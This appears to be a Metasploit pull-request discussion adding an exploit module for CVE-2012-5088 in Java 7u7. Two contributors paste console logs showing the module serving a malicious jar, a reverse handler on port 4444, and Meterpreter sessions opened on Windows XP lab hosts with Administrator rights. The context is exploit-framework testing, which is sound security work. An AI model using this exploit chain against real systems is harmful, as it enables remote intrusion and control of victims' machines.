Added module for CVE-2012-5088

[jvazquez-r7]

Affects j7u7 and earlier (j7 only)

msf exploit(java_jre17_method_handle) > rexploit
[] Stopping existing job...
[] Reloading module...
[*] Exploit running as background job.

[] Started reverse handler on 192.168.1.128:4444
[] Using URL: http://0.0.0.0:8080/ZxzpOK7
[] Local IP: http://192.168.1.128:8080/ZxzpOK7
[] Server started.
msf exploit(java_jre17_method_handle) > [] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7
[] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/
[] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[] Sending stage (30216 bytes) to 192.168.1.142
[] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3148) at 2013-01-17 21:07:22 +0100

msf exploit(java_jre17_method_handle) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter >

[wchen-r7]

Good to go:

msf  exploit(java_jre17_method_handle) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444 
[*] Using URL: http://0.0.0.0:8080/FSH8900Ip
msf  exploit(java_jre17_method_handle) > [*]  Local IP: http://10.0.1.3:8080/FSH8900Ip
[*] Server started.
[*] 10.0.1.6         java_jre17_method_handle - handling request for /FSH8900Ip
[*] 10.0.1.6         java_jre17_method_handle - handling request for /FSH8900Ip/
[*] 10.0.1.6         java_jre17_method_handle - handling request for /FSH8900Ip/dhlaOELW.jar
[*] 10.0.1.6         java_jre17_method_handle - handling request for /FSH8900Ip/dhlaOELW.jar
[*] Sending stage (30216 bytes) to 10.0.1.6
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.6:1273) at 2013-01-18 11:42:04 -0600